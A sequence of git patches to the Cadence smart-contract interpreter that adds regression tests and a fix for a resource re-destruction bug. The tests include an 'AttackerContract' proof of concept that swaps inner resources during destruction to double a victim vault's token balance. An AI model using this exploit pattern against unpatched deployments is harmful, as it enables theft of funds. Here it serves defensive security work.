From a0d950cbb2fe0470f812b9968664267f89091cfc Mon Sep 17 00:00:00 2001 From: Supun Setunga Date: Wed, 14 Jun 2023 10:00:52 -0700 Subject: [PATCH 01/10] Add reproducer --- runtime/runtime_test.go | 209 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 209 insertions(+) diff --git a/runtime/runtime_test.go b/runtime/runtime_test.go index fb2440bd3a..08d31f256f 100644 --- a/runtime/runtime_test.go +++ b/runtime/runtime_test.go @@ -8439,3 +8439,212 @@ func TestInvalidatedResourceUse(t *testing.T) { require.ErrorAs(t, err, &destroyedResourceErr) } + +func TestInvalidatedResourceUse2(t *testing.T) { + + t.Parallel() + + runtime := newTestInterpreterRuntime() + + signerAccount := common.MustBytesToAddress([]byte{0x1}) + + signers := []Address{signerAccount} + + accountCodes := map[Location][]byte{} + var events []cadence.Event + + runtimeInterface := &testRuntimeInterface{ + getCode: func(location Location) (bytes []byte, err error) { + return accountCodes[location], nil + }, + storage: newTestLedger(nil, nil), + getSigningAccounts: func() ([]Address, error) { + return signers, nil + }, + resolveLocation: singleIdentifierLocationResolver(t), + getAccountContractCode: func(location common.AddressLocation) (code []byte, err error) { + return accountCodes[location], nil + }, + updateAccountContractCode: func(location common.AddressLocation, code []byte) (err error) { + accountCodes[location] = code + return nil + }, + emitEvent: func(event cadence.Event) error { + events = append(events, event) + return nil + }, + log: func(s string) { + fmt.Println(s) + }, + } + + nextTransactionLocation := newTransactionLocationGenerator() + + attacker := []byte(fmt.Sprintf(` + import VictimContract from %s + + pub contract AttackerContract { + + pub resource InnerResource { + pub var name: String + pub var parent: &OuterResource? + pub var vault: @VictimContract.Vault? + + init(_ name: String) { + self.name = name + self.parent = nil + self.vault <- nil + } + + pub fun setParent(_ parent: &OuterResource) { + self.parent = parent + } + + pub fun setVault(_ vault: @VictimContract.Vault) { + self.vault <-! vault + } + + destroy() { + self.parent!.shenanigans() + var vault: @VictimContract.Vault <- self.vault! + self.parent!.collect(<- vault) + } + } + + pub resource OuterResource { + pub var inner1: @InnerResource + pub var inner2: @InnerResource + pub var collector: &VictimContract.Vault + + init(_ victim: @VictimContract.Vault, _ collector: &VictimContract.Vault) { + self.collector = collector + var i1 <- create InnerResource("inner1") + var i2 <- create InnerResource("inner2") + self.inner1 <- i1 + self.inner2 <- i2 + self.inner1.setVault(<- victim) + self.inner1.setParent(&self as &OuterResource) + self.inner2.setParent(&self as &OuterResource) + } + + pub fun shenanigans() { + self.inner1 <-> self.inner2 + } + + pub fun collect(_ from: @VictimContract.Vault) { + self.collector.deposit(from: <- from) + } + + destroy() { + destroy self.inner1 + // inner1 and inner2 got swapped during the above line + destroy self.inner2 + } + } + + pub fun doubleBalanceOfVault(_ vault: @VictimContract.Vault): @VictimContract.Vault { + var collector <- vault.withdraw(amount: 0.0) + var outer <- create OuterResource(<- vault, &collector as &VictimContract.Vault) + destroy outer + return <- collector + } + + pub fun attack() { + var v1 <- VictimContract.faucet() + log("Balance at the beginning: ".concat(v1.balance.toString())) + var v2 <- AttackerContract.doubleBalanceOfVault(<- v1) + log("Balance at the end: ".concat(v2.balance.toString())) + destroy v2 + } + }`, + signerAccount.HexWithPrefix(), + )) + + victim := []byte(` + pub contract VictimContract { + pub resource Vault { + + // Balance of a user's Vault + // we use unsigned fixed point numbers for balances + // because they can represent decimals and do not allow negative values + pub var balance: UFix64 + + init(balance: UFix64) { + self.balance = balance + } + + pub fun withdraw(amount: UFix64): @Vault { + self.balance = self.balance - amount + return <-create Vault(balance: amount) + } + + pub fun deposit(from: @Vault) { + self.balance = self.balance + from.balance + destroy from + } + } + + pub fun faucet(): @VictimContract.Vault { + return <- create VictimContract.Vault(balance: 5.0) + } + } + `) + + // Deploy Victim + + deployVictim := DeploymentTransaction("VictimContract", victim) + err := runtime.ExecuteTransaction( + Script{ + Source: deployVictim, + }, + Context{ + Interface: runtimeInterface, + Location: nextTransactionLocation(), + }, + ) + require.NoError(t, err) + + // Deploy Attacker + + deployAttacker := DeploymentTransaction("AttackerContract", attacker) + + err = runtime.ExecuteTransaction( + Script{ + Source: deployAttacker, + }, + Context{ + Interface: runtimeInterface, + Location: nextTransactionLocation(), + }, + ) + require.NoError(t, err) + + // Attack + + attackTransaction := []byte(fmt.Sprintf(` + import VictimContract from %s + import AttackerContract from %s + + transaction { + execute { + AttackerContract.attack() + } + }`, + signerAccount.HexWithPrefix(), + signerAccount.HexWithPrefix(), + )) + + signers = nil + + err = runtime.ExecuteTransaction( + Script{ + Source: attackTransaction, + }, + Context{ + Interface: runtimeInterface, + Location: nextTransactionLocation(), + }, + ) + + require.NoError(t, err) +} From 5aa402e35c2a0174dd1b25b5cedc2e2e0f4ec5e7 Mon Sep 17 00:00:00 2001 From: Supun Setunga Date: Wed, 14 Jun 2023 10:49:32 -0700 Subject: [PATCH 02/10] Add a minimal reproducer --- runtime/tests/interpreter/resources_test.go | 93 +++++++++++++++++++++ 1 file changed, 93 insertions(+) diff --git a/runtime/tests/interpreter/resources_test.go b/runtime/tests/interpreter/resources_test.go index 1f4574a277..d4032bf2b0 100644 --- a/runtime/tests/interpreter/resources_test.go +++ b/runtime/tests/interpreter/resources_test.go @@ -19,6 +19,7 @@ package interpreter_test import ( + "fmt" "testing" "github.com/stretchr/testify/assert" @@ -26,7 +27,9 @@ import ( "github.com/onflow/atree" + "github.com/onflow/cadence/runtime/activations" "github.com/onflow/cadence/runtime/sema" + "github.com/onflow/cadence/runtime/stdlib" "github.com/onflow/cadence/runtime/tests/checker" . "github.com/onflow/cadence/runtime/tests/utils" @@ -2853,3 +2856,93 @@ func TestInterpretResourceFunctionResourceFunctionValidity(t *testing.T) { _, err := inter.Invoke("main") require.NoError(t, err) } + +func TestInterpretInnerResourceDestruction(t *testing.T) { + + t.Parallel() + + logFunction := stdlib.NewStandardLibraryFunction( + "log", + &sema.FunctionType{ + Parameters: []sema.Parameter{ + { + Label: sema.ArgumentLabelNotRequired, + Identifier: "value", + TypeAnnotation: sema.NewTypeAnnotation(sema.AnyStructType), + }, + }, + ReturnTypeAnnotation: sema.NewTypeAnnotation( + sema.VoidType, + ), + }, + ``, + func(invocation interpreter.Invocation) interpreter.Value { + message := invocation.Arguments[0].String() + fmt.Println(message) + return interpreter.Void + }, + ) + + baseValueActivation := sema.NewVariableActivation(sema.BaseValueActivation) + baseValueActivation.DeclareValue(logFunction) + + baseActivation := activations.NewActivation[*interpreter.Variable](nil, interpreter.BaseActivation) + interpreter.Declare(baseActivation, logFunction) + + inter, err := parseCheckAndInterpretWithOptions(t, ` + pub resource InnerResource { + pub var name: String + pub(set) var parent: &OuterResource? + + init(_ name: String) { + self.name = name + self.parent = nil + } + + destroy() { + log(self.name) + self.parent!.shenanigans() + } + } + + pub resource OuterResource { + pub var inner1: @InnerResource + pub var inner2: @InnerResource + + init() { + self.inner1 <- create InnerResource("inner1") + self.inner2 <- create InnerResource("inner2") + + self.inner1.parent = &self as &OuterResource + self.inner2.parent = &self as &OuterResource + } + + pub fun shenanigans() { + self.inner1 <-> self.inner2 + } + + destroy() { + destroy self.inner1 + destroy self.inner2 + } + } + + pub fun main() { + let a <- create OuterResource() + destroy a + }`, + + ParseCheckAndInterpretOptions{ + Config: &interpreter.Config{ + BaseActivation: baseActivation, + }, + CheckerConfig: &sema.Config{ + BaseValueActivation: baseValueActivation, + }, + }) + + require.NoError(t, err) + + _, err = inter.Invoke("main") + require.NoError(t, err) +} From 20b1db361e7f07ffd033d4a9b2b0a3755f59e2db Mon Sep 17 00:00:00 2001 From: Supun Setunga Date: Wed, 14 Jun 2023 10:57:23 -0700 Subject: [PATCH 03/10] Update test to assert the logs --- runtime/tests/interpreter/resources_test.go | 27 ++++++++++++--------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/runtime/tests/interpreter/resources_test.go b/runtime/tests/interpreter/resources_test.go index d4032bf2b0..d98df80f5f 100644 --- a/runtime/tests/interpreter/resources_test.go +++ b/runtime/tests/interpreter/resources_test.go @@ -19,7 +19,6 @@ package interpreter_test import ( - "fmt" "testing" "github.com/stretchr/testify/assert" @@ -2861,6 +2860,8 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { t.Parallel() + var logs []string + logFunction := stdlib.NewStandardLibraryFunction( "log", &sema.FunctionType{ @@ -2877,8 +2878,8 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { }, ``, func(invocation interpreter.Invocation) interpreter.Value { - message := invocation.Arguments[0].String() - fmt.Println(message) + message := invocation.Arguments[0].(*interpreter.StringValue).Str + logs = append(logs, message) return interpreter.Void }, ) @@ -2894,28 +2895,28 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { pub var name: String pub(set) var parent: &OuterResource? - init(_ name: String) { - self.name = name - self.parent = nil - } + init(_ name: String) { + self.name = name + self.parent = nil + } destroy() { log(self.name) self.parent!.shenanigans() } - } + } pub resource OuterResource { pub var inner1: @InnerResource pub var inner2: @InnerResource - init() { + init() { self.inner1 <- create InnerResource("inner1") self.inner2 <- create InnerResource("inner2") self.inner1.parent = &self as &OuterResource self.inner2.parent = &self as &OuterResource - } + } pub fun shenanigans() { self.inner1 <-> self.inner2 @@ -2925,7 +2926,7 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { destroy self.inner1 destroy self.inner2 } - } + } pub fun main() { let a <- create OuterResource() @@ -2945,4 +2946,8 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { _, err = inter.Invoke("main") require.NoError(t, err) + + require.Len(t, logs, 2) + assert.Equal(t, "inner1", logs[0]) + assert.Equal(t, "inner2", logs[1]) } From e9f8239e112893edf55764f6aade47450ea013e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 11:57:49 -0700 Subject: [PATCH 04/10] prevent resource re-destruction by extending re-entrancy tracking --- runtime/interpreter/errors.go | 13 ------------- runtime/interpreter/interpreter.go | 16 +++++++++++----- runtime/interpreter/sharedstate.go | 5 +++-- runtime/runtime_test.go | 9 ++++++--- runtime/tests/interpreter/resources_test.go | 16 +++++++++------- 5 files changed, 29 insertions(+), 30 deletions(-) diff --git a/runtime/interpreter/errors.go b/runtime/interpreter/errors.go index 2bf98f7794..f47c12b4da 100644 --- a/runtime/interpreter/errors.go +++ b/runtime/interpreter/errors.go @@ -881,19 +881,6 @@ func (ContainerMutatedDuringIterationError) Error() string { return "resource container modified during iteration" } -// ReentrantResourceDestructionError -type ReentrantResourceDestructionError struct { - LocationRange -} - -var _ errors.UserError = ReentrantResourceDestructionError{} - -func (ReentrantResourceDestructionError) IsUserError() {} - -func (ReentrantResourceDestructionError) Error() string { - return "re-entrant destruction of resource" -} - // InvalidHexByteError type InvalidHexByteError struct { LocationRange diff --git a/runtime/interpreter/interpreter.go b/runtime/interpreter/interpreter.go index 8d69fd9e68..2af09a7773 100644 --- a/runtime/interpreter/interpreter.go +++ b/runtime/interpreter/interpreter.go @@ -5405,15 +5405,21 @@ func (interpreter *Interpreter) withResourceDestruction( locationRange LocationRange, f func(), ) { - _, exists := interpreter.SharedState.resourceDestruction[storageID] + if interpreter.SharedState.destroyedResources == nil { + interpreter.SharedState.destroyedResources = map[atree.StorageID]struct{}{} + defer func() { + interpreter.SharedState.destroyedResources = nil + }() + } + + _, exists := interpreter.SharedState.destroyedResources[storageID] if exists { - panic(ReentrantResourceDestructionError{ + panic(DestroyedResourceError{ LocationRange: locationRange, }) } - interpreter.SharedState.resourceDestruction[storageID] = struct{}{} - f() + interpreter.SharedState.destroyedResources[storageID] = struct{}{} - delete(interpreter.SharedState.resourceDestruction, storageID) + f() } diff --git a/runtime/interpreter/sharedstate.go b/runtime/interpreter/sharedstate.go index 9be10e8bca..57e3416e76 100644 --- a/runtime/interpreter/sharedstate.go +++ b/runtime/interpreter/sharedstate.go @@ -44,7 +44,7 @@ type SharedState struct { CapabilityControllerIterations map[AddressPath]int MutationDuringCapabilityControllerIteration bool containerValueIteration map[atree.StorageID]struct{} - resourceDestruction map[atree.StorageID]struct{} + destroyedResources map[atree.StorageID]struct{} } func NewSharedState(config *Config) *SharedState { @@ -63,7 +63,8 @@ func NewSharedState(config *Config) *SharedState { resourceVariables: map[ResourceKindedValue]*Variable{}, CapabilityControllerIterations: map[AddressPath]int{}, containerValueIteration: map[atree.StorageID]struct{}{}, - resourceDestruction: map[atree.StorageID]struct{}{}, + // NOTE: *not* initializing destroyedResources, it's initialized on a per-destruction basis, not globally. + // See Interpreter.VisitDestroyExpression } } diff --git a/runtime/runtime_test.go b/runtime/runtime_test.go index 08d31f256f..7ccae8570e 100644 --- a/runtime/runtime_test.go +++ b/runtime/runtime_test.go @@ -8194,8 +8194,8 @@ func TestRuntimeDestructorReentrancyPrevention(t *testing.T) { ) RequireError(t, err) - var destructionError interpreter.ReentrantResourceDestructionError - require.ErrorAs(t, err, &destructionError) + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) } func TestRuntimeFlowEventTypes(t *testing.T) { @@ -8646,5 +8646,8 @@ func TestInvalidatedResourceUse2(t *testing.T) { }, ) - require.NoError(t, err) + RequireError(t, err) + + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) } diff --git a/runtime/tests/interpreter/resources_test.go b/runtime/tests/interpreter/resources_test.go index d98df80f5f..1cce201757 100644 --- a/runtime/tests/interpreter/resources_test.go +++ b/runtime/tests/interpreter/resources_test.go @@ -2617,7 +2617,8 @@ func TestInterpretInvalidReentrantResourceDestruction(t *testing.T) { _, err := inter.Invoke("test") RequireError(t, err) - require.ErrorAs(t, err, &interpreter.ReentrantResourceDestructionError{}) + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) }) t.Run("array", func(t *testing.T) { @@ -2665,7 +2666,8 @@ func TestInterpretInvalidReentrantResourceDestruction(t *testing.T) { _, err := inter.Invoke("test") RequireError(t, err) - require.ErrorAs(t, err, &interpreter.ReentrantResourceDestructionError{}) + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) }) t.Run("dictionary", func(t *testing.T) { @@ -2713,7 +2715,8 @@ func TestInterpretInvalidReentrantResourceDestruction(t *testing.T) { _, err := inter.Invoke("test") RequireError(t, err) - require.ErrorAs(t, err, &interpreter.ReentrantResourceDestructionError{}) + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) }) } @@ -2945,9 +2948,8 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { require.NoError(t, err) _, err = inter.Invoke("main") - require.NoError(t, err) + RequireError(t, err) - require.Len(t, logs, 2) - assert.Equal(t, "inner1", logs[0]) - assert.Equal(t, "inner2", logs[1]) + var destroyedResourceErr interpreter.DestroyedResourceError + require.ErrorAs(t, err, &destroyedResourceErr) } From f18028a3a62c1a74f15701714b7856cb828235d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 12:00:32 -0700 Subject: [PATCH 05/10] fix comment --- runtime/interpreter/sharedstate.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/runtime/interpreter/sharedstate.go b/runtime/interpreter/sharedstate.go index 57e3416e76..2f05ac81da 100644 --- a/runtime/interpreter/sharedstate.go +++ b/runtime/interpreter/sharedstate.go @@ -64,7 +64,7 @@ func NewSharedState(config *Config) *SharedState { CapabilityControllerIterations: map[AddressPath]int{}, containerValueIteration: map[atree.StorageID]struct{}{}, // NOTE: *not* initializing destroyedResources, it's initialized on a per-destruction basis, not globally. - // See Interpreter.VisitDestroyExpression + // See Interpreter.withResourceDestruction } } From 40e2bd17bbefcd1cb6e4c2828c2d94ebcdab8720 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 12:06:53 -0700 Subject: [PATCH 06/10] add comments --- runtime/interpreter/interpreter.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/runtime/interpreter/interpreter.go b/runtime/interpreter/interpreter.go index 2af09a7773..0ad85f31a2 100644 --- a/runtime/interpreter/interpreter.go +++ b/runtime/interpreter/interpreter.go @@ -5405,6 +5405,7 @@ func (interpreter *Interpreter) withResourceDestruction( locationRange LocationRange, f func(), ) { + // If this is the top-most destruction, track all nested destructions if interpreter.SharedState.destroyedResources == nil { interpreter.SharedState.destroyedResources = map[atree.StorageID]struct{}{} defer func() { @@ -5419,6 +5420,9 @@ func (interpreter *Interpreter) withResourceDestruction( }) } + // Track the destruction. + // The entry is "cleared" by the top-most destruction, + // which removes the whole map interpreter.SharedState.destroyedResources[storageID] = struct{}{} f() From e2d501aa184bd18574d88bc197ae9fad143735e0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 12:21:05 -0700 Subject: [PATCH 07/10] clean up logs --- runtime/runtime_test.go | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/runtime/runtime_test.go b/runtime/runtime_test.go index 7ccae8570e..35d9fe1f71 100644 --- a/runtime/runtime_test.go +++ b/runtime/runtime_test.go @@ -8273,9 +8273,6 @@ func TestInvalidatedResourceUse(t *testing.T) { events = append(events, event) return nil }, - log: func(s string) { - fmt.Println(s) - }, } nextTransactionLocation := newTransactionLocationGenerator() @@ -8336,12 +8333,7 @@ func TestInvalidatedResourceUse(t *testing.T) { pub fun attack() { var v1 <- VictimContract.faucet() - log("Balance at the beginning: ".concat(v1.balance.toString())) - var v2<- AttackerContract.doubleBalanceOfVault(<- v1) - // var v3 <- AttackerContract.doubleBalanceOfVault(<- v2) - log("Balance at the end: ".concat(v2.balance.toString())) - destroy v2 } }`, @@ -8473,9 +8465,6 @@ func TestInvalidatedResourceUse2(t *testing.T) { events = append(events, event) return nil }, - log: func(s string) { - fmt.Println(s) - }, } nextTransactionLocation := newTransactionLocationGenerator() @@ -8551,9 +8540,7 @@ func TestInvalidatedResourceUse2(t *testing.T) { pub fun attack() { var v1 <- VictimContract.faucet() - log("Balance at the beginning: ".concat(v1.balance.toString())) var v2 <- AttackerContract.doubleBalanceOfVault(<- v1) - log("Balance at the end: ".concat(v2.balance.toString())) destroy v2 } }`, From ceccc3407847708084e018a51ee4c87a8b9404de Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 12:25:35 -0700 Subject: [PATCH 08/10] track destroyed resources globally --- runtime/interpreter/interpreter.go | 8 -------- runtime/interpreter/sharedstate.go | 3 +-- 2 files changed, 1 insertion(+), 10 deletions(-) diff --git a/runtime/interpreter/interpreter.go b/runtime/interpreter/interpreter.go index 0ad85f31a2..1eaefdbaab 100644 --- a/runtime/interpreter/interpreter.go +++ b/runtime/interpreter/interpreter.go @@ -5405,14 +5405,6 @@ func (interpreter *Interpreter) withResourceDestruction( locationRange LocationRange, f func(), ) { - // If this is the top-most destruction, track all nested destructions - if interpreter.SharedState.destroyedResources == nil { - interpreter.SharedState.destroyedResources = map[atree.StorageID]struct{}{} - defer func() { - interpreter.SharedState.destroyedResources = nil - }() - } - _, exists := interpreter.SharedState.destroyedResources[storageID] if exists { panic(DestroyedResourceError{ diff --git a/runtime/interpreter/sharedstate.go b/runtime/interpreter/sharedstate.go index 2f05ac81da..f250ce3f58 100644 --- a/runtime/interpreter/sharedstate.go +++ b/runtime/interpreter/sharedstate.go @@ -63,8 +63,7 @@ func NewSharedState(config *Config) *SharedState { resourceVariables: map[ResourceKindedValue]*Variable{}, CapabilityControllerIterations: map[AddressPath]int{}, containerValueIteration: map[atree.StorageID]struct{}{}, - // NOTE: *not* initializing destroyedResources, it's initialized on a per-destruction basis, not globally. - // See Interpreter.withResourceDestruction + destroyedResources: map[atree.StorageID]struct{}{}, } } From 9d66afc8dba6fdbd38da9471a9e9411ef8c7e917 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bastian=20M=C3=BCller?= Date: Wed, 14 Jun 2023 12:26:26 -0700 Subject: [PATCH 09/10] remove outdated comment --- runtime/interpreter/interpreter.go | 3 --- 1 file changed, 3 deletions(-) diff --git a/runtime/interpreter/interpreter.go b/runtime/interpreter/interpreter.go index 1eaefdbaab..3791f68676 100644 --- a/runtime/interpreter/interpreter.go +++ b/runtime/interpreter/interpreter.go @@ -5412,9 +5412,6 @@ func (interpreter *Interpreter) withResourceDestruction( }) } - // Track the destruction. - // The entry is "cleared" by the top-most destruction, - // which removes the whole map interpreter.SharedState.destroyedResources[storageID] = struct{}{} f() From b75fa95d78ffc3af3aec726a793c52b86078a26d Mon Sep 17 00:00:00 2001 From: Supun Setunga Date: Wed, 14 Jun 2023 12:36:31 -0700 Subject: [PATCH 10/10] Simplify interpreter test --- runtime/tests/interpreter/resources_test.go | 49 ++------------------- 1 file changed, 3 insertions(+), 46 deletions(-) diff --git a/runtime/tests/interpreter/resources_test.go b/runtime/tests/interpreter/resources_test.go index 1cce201757..e8b95a1402 100644 --- a/runtime/tests/interpreter/resources_test.go +++ b/runtime/tests/interpreter/resources_test.go @@ -26,9 +26,7 @@ import ( "github.com/onflow/atree" - "github.com/onflow/cadence/runtime/activations" "github.com/onflow/cadence/runtime/sema" - "github.com/onflow/cadence/runtime/stdlib" "github.com/onflow/cadence/runtime/tests/checker" . "github.com/onflow/cadence/runtime/tests/utils" @@ -2863,37 +2861,7 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { t.Parallel() - var logs []string - - logFunction := stdlib.NewStandardLibraryFunction( - "log", - &sema.FunctionType{ - Parameters: []sema.Parameter{ - { - Label: sema.ArgumentLabelNotRequired, - Identifier: "value", - TypeAnnotation: sema.NewTypeAnnotation(sema.AnyStructType), - }, - }, - ReturnTypeAnnotation: sema.NewTypeAnnotation( - sema.VoidType, - ), - }, - ``, - func(invocation interpreter.Invocation) interpreter.Value { - message := invocation.Arguments[0].(*interpreter.StringValue).Str - logs = append(logs, message) - return interpreter.Void - }, - ) - - baseValueActivation := sema.NewVariableActivation(sema.BaseValueActivation) - baseValueActivation.DeclareValue(logFunction) - - baseActivation := activations.NewActivation[*interpreter.Variable](nil, interpreter.BaseActivation) - interpreter.Declare(baseActivation, logFunction) - - inter, err := parseCheckAndInterpretWithOptions(t, ` + inter := parseCheckAndInterpret(t, ` pub resource InnerResource { pub var name: String pub(set) var parent: &OuterResource? @@ -2904,7 +2872,6 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { } destroy() { - log(self.name) self.parent!.shenanigans() } } @@ -2935,19 +2902,9 @@ func TestInterpretInnerResourceDestruction(t *testing.T) { let a <- create OuterResource() destroy a }`, + ) - ParseCheckAndInterpretOptions{ - Config: &interpreter.Config{ - BaseActivation: baseActivation, - }, - CheckerConfig: &sema.Config{ - BaseValueActivation: baseValueActivation, - }, - }) - - require.NoError(t, err) - - _, err = inter.Invoke("main") + _, err := inter.Invoke("main") RequireError(t, err) var destroyedResourceErr interpreter.DestroyedResourceError